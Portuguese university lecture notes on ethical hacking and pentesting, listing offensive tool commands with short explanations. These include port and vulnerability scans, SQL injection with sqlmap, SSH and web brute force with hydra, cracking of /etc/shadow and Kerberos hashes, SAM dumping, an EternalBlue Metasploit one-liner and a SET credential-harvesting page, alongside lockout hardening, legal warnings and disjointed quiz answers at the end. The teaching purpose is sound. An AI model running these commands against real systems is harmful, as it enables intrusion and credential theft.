CÓDIGO DA DISCIPLINA: DEE345
Departamento de Engenharias e Exatas - UFPR/Palotina
Docente de Segurança da Informação
Em 2023, 80% das violações envolviam credenciais comprometidas (Verizon DBIR). Esta aula combina:
Pentests simulam ataques autorizados para identificar vulnerabilidades, gerando relatórios com riscos e recomendações. O hacking ético exige autorização, confidencialidade e responsabilidade.
Exemplo prático: Um pentester descobre uma vulnerabilidade SQLi, mas só a explora até o ponto permitido no contrato, evitando acesso a dados sensíveis fora do escopo.
nmap -sS -p- 192.168.1.100
Explicação: Varredura furtiva de portas para mapear canais de comunicação.
sqlmap -u "http://alvo.com/login" --forms --batch
Explicação: Testa formulários web por injeções SQL.
nmap -sV -A --script vuln 192.168.1.0/24
Explicação: Varre vulnerabilidades conhecidas em uma sub-rede.
git clone https://github.com/trustedsec/ptf
./ptf --update-all
Explicação: Atualiza ferramentas do Penetration Testing Framework.
{
"scope": ["webapp.exemplo.com", "api.exemplo.com"],
"excluded": ["vpn.exemplo.com"],
"time_window": "2025-07-01T08:00/2025-07-01T18:00",
"contacts": ["admin@exemplo.com", "sec@exemplo.com"]
}
gobuster dir -u http://alvo.com -w /usr/share/wordlists/dirb/common.txt
Explicação: Enumera diretórios web escondidos.
sqlmap -u "http://alvo.com?id=1" --dbs
Explicação: Lista bancos de dados via SQL Injection.
cvsscalc --base 8.3 --temporal 7.5
Explicação: Calcula pontuação CVSS para vulnerabilidades.
Nota: Relatórios devem incluir data/hora, duração, analistas, escopo, resultados, margens de erro e anomalias.
whois alvo.com
Explicação: Coleta informações públicas para iniciar ataque.
hydra -l user -P pass.txt http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
Explicação: Testa autenticação com credenciais limitadas.
crackmapexec smb 192.168.1.10 -u user -p pass --sam
Explicação: Enumera hashes SAM para escalação de privilégios.
Força Bruta: Testa todas as combinações possíveis. Dicionário: Usa wordlists (ex.: rockyou.txt).
# Gerar wordlist numérica (5-8 dígitos)
crunch 5 8 0123456789 -o /tmp/numlist.txt
# John the Ripper
unshadow /etc/passwd /etc/shadow > pwdhashes.txt
john --wordlist=/tmp/numlist.txt pwdhashes.txt
john --show pwdhashes.txt
Explicação: Combina passwd/shadow e quebra hashes com wordlist.
john --session=test1 --wordlist=/tmp/numlist.txt pwdhashes.txt
john --restore=test1
Explicação: Salva/restaura sessões de cracking.
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.50 -t 4
Explicação: Testa credenciais SSH com 4 threads.
ophcrack -g -t /path/to/vista_free
Explicação: Gera interface gráfica para cracking de hashes NTLM.
python pydictor.py -base L --len 6 8 -o pwdlist.txt
Explicação: Cria lista de palavras com letras minúsculas (6-8 caracteres).
hashcat -m 0 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
Explicação: Quebra hashes MD5 com wordlist.
echo "auth required pam_faillock.so deny=3 unlock_time=600" >> /etc/pam.d/common-auth
Explicação: Bloqueia após 3 tentativas por 10 minutos.
Criptoanálise busca fraquezas em sistemas criptográficos sem a chave.
cryptool --kpa --input encrypted.txt --plaintext known.txt
Explicação: Analisa relação texto puro-cifrado (demo teórica).
cryptool --cpa --input cipher.bin --choose plaintexts.txt
Explicação: Testa comportamento do algoritmo com entradas controladas.
time openssl speed rsa2048
Explicação: Mede tempo de operações RSA para inferir chaves.
wget https://shattered.io/static/shattered-1.pdf
sha1sum shattered-1.pdf
Explicação: Demonstra colisão SHA-1 com PDFs idênticos.
open https://hackerone.com/hacker101
Explicação: Acesse desafios gratuitos para iniciantes.
thm token set
thm challenge list
Explicação: Configura acesso e lista desafios disponíveis.
openvpn --config htb.ovpn
Explicação: Conecta à rede HackTheBox para desafios avançados.
git clone https://github.com/vulnhub/vulnhub.git
Explicação: Baixa máquinas vulneráveis para prática local.
Tente decifrar o hash SHA-1: 7c4a8d09ca3762af61e59520943dc26494f8941b
Está na lista RockYou.txt
echo "7c4a8d09ca3762af61e59520943dc26494f8941b" > hash.txt
hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
# Resultado: 123456
setoolkit
# Escolher: 1) Social-Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester
Explicação: Cria página falsa para capturar credenciais.
# Configurar proxy no Burp, capturar requisição POST, usar Intruder com wordlist
burp -Xmx2g -jar burpsuite_community.jar
Explicação: Automatiza ataques em formulários web.
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.5; run"
Explicação: Explora vulnerabilidade EternalBlue em SMB.
impacket-GetUserSPNs -request -dc-ip 192.168.1.10 dominio.local/user:pass > tickets.krb
hashcat -m 13100 tickets.krb /usr/share/wordlists/rockyou.txt
Explicação: Extrai e quebra tickets Kerberos para obter credenciais.
crackmapexec smb 192.168.1.0/24 -u admin -p Passw0rd! --sam
Explicação: Enumera hashes SAM em múltiplos hosts.
docker run -d -p 80:80 vulnerables/web-dvwa
docker run -d -p 8080:8080 bkimminich/juice-shop
Explicação: Implanta DVWA e Juice Shop para prática de pentest web.
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart sshd
lynis audit system
Explicação: Altera porta SSH e audita segurança com Lynis.
snort -i eth0 -c /etc/snort/snort.conf -A console
Explicação: Monitora tráfego em tempo real com regras personalizadas.
Visualização de vulnerabilidades encontradas por tipo:
Testes sem autorização são crime no Brasil (Art. 154-A do Código Penal). Sempre obtenha:
crunch 5 8 0123456789 -o /tmp/wordlist-numeric.txt
gera números de 5 a 8 dígitos.
5 8
para comprimento mínimo e máximo, não outros valores.
hydra -l root -P rockyou.txt ssh://192.168.0.100
é correta para SSH.
ssh://IP
.
deny=5 fail_interval=900 unlock_time=600
faz isso.
deny
, fail_interval
e unlock_time
.
systemctl enable --now auditd
inicia e habilita o serviço.
enable --now
.